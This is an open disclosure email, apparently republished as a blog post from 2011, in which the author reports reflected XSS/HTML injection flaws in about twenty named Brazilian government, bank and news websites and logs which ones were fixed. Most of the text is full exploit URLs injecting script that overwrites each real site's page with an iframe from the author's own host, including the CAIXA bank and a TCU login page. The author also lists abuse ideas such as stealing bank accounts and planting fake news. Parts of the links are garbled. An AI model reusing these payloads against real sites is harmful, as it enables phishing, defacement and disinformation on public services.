De: "Marcelo Jorge Vieira" <metal@mundobugado.org>
Para: "ANP Imprensa" <imprensa@anp.gov.br>, "CAIXA - Imprensa" <imprensa@caixa.gov.br>, "Jorge Fontes Hereda" <presidencia@caixa.gov.br>, "Joaquim Lima de Oliveira" <vitec@caixa.gov.br>, "CEB - Comunicação Social" <prcoe@ceb.com.br>, "Conselho de Consumidores da CEB" <conselho.ceb@ceb.com.br>, "Glaucius Oliva" <presidencia@cnpq.br>, "CNPq Ascom" <comunicacao@cnpq.br>, "Olímpio Cruz" <olimpio.cruz@agricultura.gov.br>, "MMA Ascom" <imprensa@agricultura.gov.br>, "Maria Lucia Muniz" <mlmuniz@mct.gov.br>, "MCT Ascom" <ascomt@mct.gov.br>, "Maristela Rangel Pinto" <cgm@cultura.gov.br>, "Nanan Catalão" <nanan.catalao@cultura.gov.br>, "Denise Mantovani" <denise.mantovani@mda.gov.br>, "MDA Ascom" <comunicacao.social@mda.gov.br>, "Nunzio Briguglio Filho" <nunzio@mec.gov.br>, "MEC Ascom" <imprensa@mec.gov.br>, "Ramiro Alves" <ramiro.alves@fazenda.gov.br>, "MF Ascom" <acs@fazenda.gov.br>, "Gerusa Barbosa" <gerusa.barbosa@mma.gov.br>, "MMA Ascom" <ascom@mma.gov.br>, "Antônio Carlos" <aclima@mme.gov.br> ,"MME Ascom" <ascom@mme.gov.br>, "Vanice Cioccari" <vanice.cioccari@mj.gov.br>, "MJ Ascom" <acs@mj.gov.br>, "PBH Ascom" <ascom@planejamento.mg.gov.br>, "Walter Carlos Auad Sotomayor" <walter.sotomayor@turismo.gov.br>, "Turismo Ascom" <imprensa@turismo.gov.br>, "Selvino Heck" <mobsocial@planalto.gov.br>, "Casa Civil da Presidência da República" <mprensaccivil@presidencia.gov.br>, "Benjamin Zymler" <min-bz@tcu.gov.br>, "Augusto Nardes" <min-an@tcu.gov.br>, "Estadão - Fale com" <falecom.estado@grupoestado.com.br>, "Estadão - Portal" <portal@grupoestado.com.br>, "Nelson Nunes" <nnunes@diariosp.com.br>, "Carlos Alencar" <carlos.alencar@diariosp.com.br>, "Ulisses Oliveira" <ulisses.oliveira@diariosp.com.br>, "Teodomiro Braga" <teodomiro@otempo.com.br>, "Fábio A. Santos" <tecnologia@otempo.com.br>, "Luiz Fernando Rocha" <luizrocha@otempo.com.br>, "Mylena Fiori" <mfiori@cartamaior.com.br>, "Carta Maior - Redação" <redacao@cartamaior.com.br>, "Terra - Abuse" <abuse@terra.com.br>, "Terra - Editorial" <editorial@terra.com.br>, "Roberto Borges Martins" <presidencia@redeminas.mg.gov.br>, "Hugo Teixeira" <hugoteixeira@redeminas.mg.gov.br>, "Franco Brostel Nunes Leal" <franco@redeminas.mg.gov.br>, "Luiz Silvério Pereira Meireles" <ditec@redeminas.mg.gov.br>, "Rodolfo Fernandes" <rodolfo@oglobo.com.br>, "Maria Fernanda Delmas" <fernanda.delmas@oglobo.com.br>, "Ascânio Seleme" <ascanio@oglobo.com.br>, "Folha Emergência" <folhaemergencia@uol.com.br>, "Folha Poder" <politica@uol.com.br>, "Ministério da Defesa" <imprensa@defesa.gov.br>, "Ministério da Defesa - Ascom" <ascom@defesa.gov.br>,
Olá,
No início do mês de Abril, eu descobri uma falha no site da ANP (Agência Nacional do Petróleo), que eu explorei para mudar a visualização do site, inserindo um formulário, um abaixo-assinado, onde um visitante poderia assinar seu nome como uma forma de protesto aos altos preços dos combustíveis.
Essa falha (primária) não altera o conteúdo do site, apenas muda a visualização e só funciona, se o usuário clicar em um link "batizado" com parâmetros específicos, como, por exemplo, o link abaixo usado para inserir o formulário no site da ANP:
[www.anp.gov.br] src='http://mundobugado.org/anp'> (o link não funciona mais, o pessoal da ANP já consertou a falha nesse ponto).
No meu blog, tem um relato explicando melhor o caso da
ANP e o Mundo Bugado.
Como sou curioso, quis saber se outros sites também apresentavam a mesma falha. Minha mãe sempre diz: Quem procura, acha! E é claro que eu achei e não foram poucos.
.gov.br:
- ANP (Agência Nacional do Petróleo, Gás Natural e Biocombustíveis)
- Brazilian Tourism Portal (Ministério do Turismo)
- CAIXA (O banco que acredita nas pessoas)
- CEB (Companhia Energética de Brasília)
- Domínio Público (Ministério da Educação)
- Embratur (Ministério do Turismo)
- MF (Ministério da Fazenda)
- MINC (Ministério da Cultura
- MMA (Ministério do Meio Ambiente)
- MME (Ministério de Minas e Energia)
- MDA (Ministério do Desenvolvimento Agrário)
- MCT (Ministério da Ciência e Tecnologia)
- Portal da Transparência (Presidência)
- Plataforma Lattes (CNPq)
- SINDEC (Sistema Nacional de Informações de Defesa do Consumidor)
- TCU (Tribunal de Contas da União)
Jornal/TV:
- Estadão
- Carta Maior
- O TEMPO
- Diário de São Paulo
- Terra
- Rede Minas
O que eu quero com esse email?! Reportar essa falha, porque ela poderia ser explorada de várias maneiras:
- Uma pessoa mal intencionada poderia substituir a página inicial da CAIXA para "roubar" as contas de alguns clientes.
- Usar o site do Ministério da Cultura para falar mal da Ministra, uma vez que surgiram vários temas relacionados à ela nos últimos dias.
- Fazer mais uma campanha sobre os altos preços dos combustíveis no site da ANP.
- Usar o site do Ministério da Fazenda para falar que não é mais preciso declarar Imposto Renda.
- Publicar todas as falsas notícias no ESTADÃO, no Diário de São Paulo, no O Tempo, no Terra, na Carta Maior e na Rede Minas.
Com essa coleção de sites, é bem fácil criar uma rede de intrigas, verdades ou mentiras, como, por exemplo, "O brasil desistiu de sediar a copa", "O brasil vai vender a Amazônia", etc.
Por todos os motivos citados acima, essa falha é uma questão de Segurança Nacional.
Estou enviando e publicando esse email, porque não acredito no contato privado com suas instituições. A ANP demonstrou muito bem esse ponto ao não assumir a falha no site e no sistema de preços, e ainda fazer um comunicado sobre um endereço falso circulando na Internet e ao mesmo tempo retirar o sistema de consulta dos preços do ar.
Segue os links com as páginas alteradas, para confirmar
.gov.br:
*
[metal.mundobugado.org] width="1260" height="2100" frameborder="0" marginheight="0" marginwidth="0" scrolling="no"></body>')}</script>">ANP (Agência Nacional do Petróleo, Gás Natural e Biocombustíveis) (Fixed! Corrigido!)
http://www.anp.gov.br/SITE/acao/estaaqui/?s1=<script>window.onload=function(){document.write('<body style="margin: 0px 0px"><iframe src=" [metal.mundobugado.org] width="1260" height="2100" frameborder="0" marginheight="0" marginwidth="0" scrolling="no"></body>')}</script>
*
Brazilian">[metal.mundobugado.org] Tourism Portal (Ministério do Turismo)
http://www.braziltour.com/busca.html?search=%22%3E%3Cscript%3Ewindow.onload=function%28%29{document.write%28%27%3Cbody%20style=%22margin:%200px%200px%22%3E%3Ciframe%20src=%2 [metal.mundobugado.org]
*
CAIXA">[metal.mundobugado.org] (O banco que acredita nas pessoas)
http://www1.caixa.gov.br/busca/resultados.asp?q2=1&q1=%27%29;}%29;%3C/script%3E%3Ciframe%20src=%2 [metal.mundobugado.org]
*
CEB">[metal.mundobugado.org] (Companhia Energética de Brasília)
http://www.ceb.com.br/Ceb/aplicacoes/index.cfm?fuseaction=busca.realizarbusca&pesquisa=%3Ciframe%20src=%2 [metal.mundobugado.org]
*
Domínio">[metal.mundobugado.org] Público (Ministério da Educação) (Fixed! Corrigido!)
http://www.dominiopublico.gov.br/pesquisa/PesquisaAutorResultadoForm.do?letra=%3Cscript%3Ewindow.onload=function%28%29{document.write%28%22%3Cbody%20style=\%22margin:%200px%200px\%22%3E%3Ciframe%20src=\%2 [metal.mundobugado.org]
*
[metal.mundobugado.org] width="1260" height="2100" frameborder="0" marginheight="0" marginwidth="0" scrolling="no"></body>')}</script>">Embratur (Ministério do Turismo)
http://www.embratur.gov.br/site/br/busca/busca.php?palavra=','')"><script>window.onload=function(){document.write('<body style="margin: 0px 0px"><iframe src=" [metal.mundobugado.org] width="1260" height="2100" frameborder="0" marginheight="0" marginwidth="0" scrolling="no"></body>')}</script>
*
MF">[metal.mundobugado.org] (Ministério da Fazenda) (Fixed! Corrigido!)
http://www.fazenda.gov.br/busca.asp?pesquisa=%3Cscript%3Ewindow.onload=function%28%29{document.write%28%27%3Cbody%20style=%22margin:%200px%200px%22%3E%3Ciframe%20src=%2 [metal.mundobugado.org]
*
[metal.mundobugado.org] width="1260" height="9100" frameborder="0" marginheight="0" marginwidth="0" scrolling="no"></body>')}</script>">MINC (Ministério da Cultura)
http://fale.cultura.gov.br/sisouvidor/login/formularioLogin.jsp?UsuarioInvalido=<script>window.onload=function(){document.write('<body style="margin: 0px 0px"><iframe src=" [metal.mundobugado.org] width="1260" height="9100" frameborder="0" marginheight="0" marginwidth="0" scrolling="no"></body>')}</script>
*
MMA">[metal.mundobugado.org] (Ministério do Meio Ambiente)
http://www.mma.gov.br/sitio/index.php?ido=conteudo.pesquisa&busca=%22%3C/h2%3E%3Cscript%3Ewindow.onload=function%28%29{document.write%28%22%3Cbody%20style=\%22margin:%200px%200px\%22%3E%3Ciframe%20src=\%2 [metal.mundobugado.org]
*
MME">[metal.mundobugado.org] (Ministério de Minas e Energia)
http://www.mme.gov.br/mme/buscaresult.html?field=content&index=indice_mme&query=%3Cscript%3Ewindow.onload=function%28%29{document.write%28%27%3Cbody%20style=%22margin:%200px%200px%22%3E%3Ciframe%20src=%2 [metal.mundobugado.org]
*
MDA">[metal.mundobugado.org] (Ministério do Desenvolvimento Agrário)
http://mda.gov.br/sistemas/sistemasmda/index.php?msg=%3Cscript%3E$%28function%28%29{%20$%28%22body%22%29.empty%28%29.append%28%22%3Cbody%20style=%27margin:%200px%200px%27%3E%3Ciframe%20src=%2 [metal.mundobugado.org]
*
MCT">[metal.mundobugado.org] (Ministério da Ciência e Tecnologia)
http://www.mct.gov.br/index.php?action=/html/objects/search_result&searchquery=%3C/td%3E%3C/tr%3E%3C/table%3E%3Cscript%3Ewindow.onload%20=%20function%28%29%20{%20document.write%28%27%3Cbody%20style=%22margin:%200px%200px%22%3E%3Ciframe%20src=%2 [metal.mundobugado.org]
*
[metal.mundobugado.org] width="1260" height="2100" frameborder="0" marginheight="0" marginwidth="0" scrolling="no"></body>')}</script>">Portal da Transparência (Presidência)
http://www.portaltransparencia.gov.br/despesasdiarias/resultado?consulta=rapida&periodoInicio="><script>window.onload=function(){document.write('<body style="margin: 0px 0px"><iframe src=" [metal.mundobugado.org] width="1260" height="2100" frameborder="0" marginheight="0" marginwidth="0" scrolling="no"></body>')}</script>
*
Plataforma">[metal.mundobugado.org] Lattes (CNPq)
http://buscatextual.cnpq.br/buscatextual/busca.do?metodo=buscar&textoBusca=%3Cscript%3Ewindow.onload=function%28%29{document.write%28%22%3Cbody%20style=\%22margin:%200px%200px\%22%3E%3Ciframe%20src=\%2 [metal.mundobugado.org]
*
SINDEC">[metal.mundobugado.org] (Sistema Nacional de Informações de Defesa do Consumidor) (Fixed! Corrigido!)
https://sindecbh.pbh.gov.br:444/sindecconsulta/?msg=%3C/td%3E%3C/tr%3E%3C/table%3E%3Cscript%3Ewindow.onload=function%28%29{document.write%28%27%3Cbody%20style=%22margin:%200px%200px%22%3E%3Ciframe%20src=%2 [metal.mundobugado.org]
*
TCU">[http:%2F%2Fmetal.mundobugado.org%2Ftcu%22%20width=%221260%22%20height=%226000%22%20frameborder=%220%22%20marginheight=%220%22%20marginwidth=%220%22%20scrolling=%22no%22%3E%3C%2Fbody%3E">TCU] (Tribunal de Contas da União)
https://login.tcu.gov.br/sso/jsp/login.jsp?site2pstoretoken=&p_submit_url=&p_cancel_url=&locale=%22%3E%3Cbody%20style=%22margin:%200px%200px%22%3E%3Ciframe%20src=%2 [http:%2F%2Fmetal.mundobugado.org%2Ftcu%22%20width=%221260%22%20height=%226000%22%20frameborder=%220%22%20marginheight=%220%22%20marginwidth=%220%22%20scrolling=%22no%22%3E%3C%2Fbody%3E]
Jornal/TV:
*
Estadão">[http:%2F%2Fmetal.mundobugado.org%2Festadao%22%20width=%221260%22%20height=%226000%22%20frameborder=%220%22%20marginheight=%220%22%20marginwidth=%220%22%20scrolling=%22no%22%3E%3C%2Fbody%3E">Estadão] (Fixed! Corrigido!)
http://www.estadao.com.br/busca/%3C%2Ftitle%3E%3Cbody%20style=%22margin:%200px%200px%22%3E%3Ciframe%20src=%2 [http:%2F%2Fmetal.mundobugado.org%2Festadao%22%20width=%221260%22%20height=%226000%22%20frameborder=%220%22%20marginheight=%220%22%20marginwidth=%220%22%20scrolling=%22no%22%3E%3C%2Fbody%3E]
*
Carta">[metal.mundobugado.org] Maior
http://cartamaior.com.br/templates/buscaExecutar.cfm?busca=%3C/title%3E%3Cscript%3Ewindow.onload=function%28%29{document.write%28%27%3Cbody%20style=%22margin:%200px%200px%22%3E%3Ciframe%20src=%2 [metal.mundobugado.org]
*
O">[metal.mundobugado.org] TEMPO
http://www.otempo.com.br/videos/lista/?busca=%22%3E%3Cscript%3Ewindow.onload=function%28%29{document.write%28%27%3Cbody%20style=%22margin:%200px%200px%22%3E%3Ciframe%20src=%2 [metal.mundobugado.org]
*
[metal.mundobugado.org] width="1260" height="2100" frameborder="0" marginheight="0" marginwidth="0" scrolling="no"></body>')}</script>">Diário de São Paulo
http://www.diariosp.com.br/?id=%2Fbusca.php&ds_busca=<script>window.onload=function(){document.write('<body style="margin: 0px 0px"><iframe src=" [metal.mundobugado.org] width="1260" height="2100" frameborder="0" marginheight="0" marginwidth="0" scrolling="no"></body>')}</script>
*
Terra">[is.gd] (Fixed! Corrigido!)
http://buscador.terra.com.br/Default.aspx?source=Search&ca=s&query=%3C/title%3E%3Ciframe%20src=%2 [is.gd]
*
Rede">[http%3A] Minas
http://www.redeminas.mg.gov.br/search/node/%22%3E%3C/a%3E%3Cscript%3Ewindow.onload=function%28%29%7Bdocument.write%28%27%3Cbody%20style=%22margin:%200px%200px%22%3E%3Ciframe%20src=%2 [http%3A]
O que é HTML Injection ou XSS (Cross-site scripting)?
HTML Injection é um tipo de vulnerabilidade encontrada normalmente em sistemas Web e é explorada com a inserção de código HTML/JavaScript nos parâmetros de um formulário, por exemplo. Não faz nenhuma mudança nos arquivos do servidor, apenas muda a visualização dos dados para o usuário.
O que é HTML?
"
HTML (acrônimo para a expressão inglesa HyperText Markup Language, que significa Linguagem de Marcação de Hipertexto) é uma linguagem de marcação utilizada para produzir páginas na Web" -- Wikipédia
O que é JavaScript?
JavaScript é uma linguagem de programação muito utilizada para produzir páginas na Web.
Como resolver?
Remover todas as tags HTML de todos os parâmetros. Para cada linguagem utilizada para produzir o site, existe uma forma de remover as tags:
ASP,
PHP,
Python,
Java.
-------
UPDATE 17/05/2011 - 20h34
ANP, Dominio Público e Terra corrigiram as "brechas".
UPDATE 18/05/2011 - 00h07
ESTADÃO corrigiu a "brecha".
UPDATE 18/05/2011 - 11h12
Caro Marcelo,
A falha mencionada foi corrigida, agradecemos a notificação.
Atenciosamente,
Lucas Betti Domingues
Equipe de Segurança Terra - Depto. de Abuse
abuse@terra.com.br
SAN - Servico de Atendimento Nacional
Fax: (51) 3287-9087
UPDATE 19/05/2011 - 11h33
SINDEC corrigiu a "brecha".
UPDATE 23/05/2011 - 23h32
A CAIXA corrigiu a brecha pela metade, mas já foi um avanço. Vocês podem [metal.mundobugado.org] title="Falha">testar aqui e [metal.mundobugado.org] title="falha">aqui para comprovar que ainda existe a falha.
UPDATE 07/06/2011 - 17h08
O MF (Ministério da Fazenda) corrigiu a brecha. De um jeito tosco, mas corrigiu... agora eles retiram da busca os caracteres "<" e ">"